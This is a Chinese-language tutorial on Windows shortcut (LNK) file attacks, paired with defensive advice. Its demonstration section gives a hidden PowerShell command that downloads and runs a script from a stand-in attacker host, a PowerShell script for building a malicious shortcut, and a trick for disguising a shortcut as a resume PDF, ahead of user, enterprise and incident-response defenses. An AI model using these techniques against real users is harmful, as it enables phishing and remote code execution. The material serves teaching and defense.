LNK攻击技术深度分析与防御指南

一、LNK文件基础

1.1 LNK文件简介

LNK文件是Windows系统的快捷方式文件，用于快速启动程序或打开文件。其特点包括：

• 扩展名为.lnk
• 包含目标程序的路径信息
• 可自定义图标和显示名称
• 支持执行命令和参数

1.2 LNK文件结构

通过分析LNK文件属性可以看到：

• 目标：指向要执行的程序路径
• 起始位置：程序运行的工作目录
• 快捷键：可设置启动快捷键
• 运行方式：可设置窗口状态（常规/最小化/最大化）
• 注释：可添加描述信息

二、LNK攻击原理

2.1 攻击基本流程

1. 创建恶意LNK文件
2. 伪装成正常文件（更改图标、名称）
3. 设置恶意命令作为目标
4. 诱导用户点击执行

2.2 常用攻击技术

• LOLBINS利用：使用系统自带工具下载执行恶意代码
• 命令拼接：通过cmd/powershell执行多段命令
• 文件隐藏：使用attrib命令隐藏恶意文件
• 图标伪装：修改图标欺骗用户

三、LNK攻击实战演示

3.1 基础攻击示例

1. 创建快捷方式，目标设置为：

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

2. 修改图标为常见程序图标
3. 重命名为可信文件名（如"系统更新.lnk"）

3.2 结合加密文档的钓鱼攻击

1. 创建加密Word文档
2. 制作伪装成"password.txt"的LNK文件
3. LNK目标命令包含：
   • 写入密码到文本文件
   • 下载并执行恶意程序
   • 删除自身痕迹

3.3 高级技巧：突破长度限制

1. 使用PowerShell创建LNK文件：

$file = Get-Content ".\command.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\malicious.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.Arguments = ' '+ $file
$Shortcut.Save()

2. 将长命令保存在command.txt中

3.4 文件捆绑技术

1. 将LNK文件与正常文件捆绑：

copy /b 简历.pdf.lnk + 简历.pdf 最终简历.pdf.lnk

2. 修改图标为PDF图标
3. 设置命令同时打开PDF和执行恶意代码

四、防御措施

4.1 用户防护

• 禁用LNK文件自动执行
• 显示文件扩展名
• 谨慎打开不明来源的快捷方式
• 使用杀毒软件实时防护

4.2 企业防护

• 组策略限制LNK文件执行
• 监控可疑的LNK文件创建
• 限制PowerShell执行权限
• 网络流量监控异常下载行为

4.3 应急响应

• 检查近期创建的LNK文件
• 分析可疑进程的父进程
• 检查系统日志中的异常命令执行
• 监控网络连接中的可疑外联

五、技术细节补充

5.1 常用LOLBINS列表

5.2 常用环境变量

• %SystemRoot% = C:\Windows
• %windir% = C:\Windows
• %ComSpec% = C:\Windows\System32\cmd.exe
• %TEMP% = 当前用户临时文件夹

5.3 常用图标位置

• %SystemRoot%\System32\SHELL32.dll
• %SystemRoot%\System32\imageres.dll
• 自定义程序图标路径

六、总结

LNK文件攻击是一种有效的初始入侵手段，攻击者通过精心构造的快捷方式可以绕过许多传统防御措施。防御此类攻击需要结合技术防护和用户教育，建立多层防御体系。安全团队应定期检查系统异常，更新防护策略以应对不断演变的LNK攻击技术。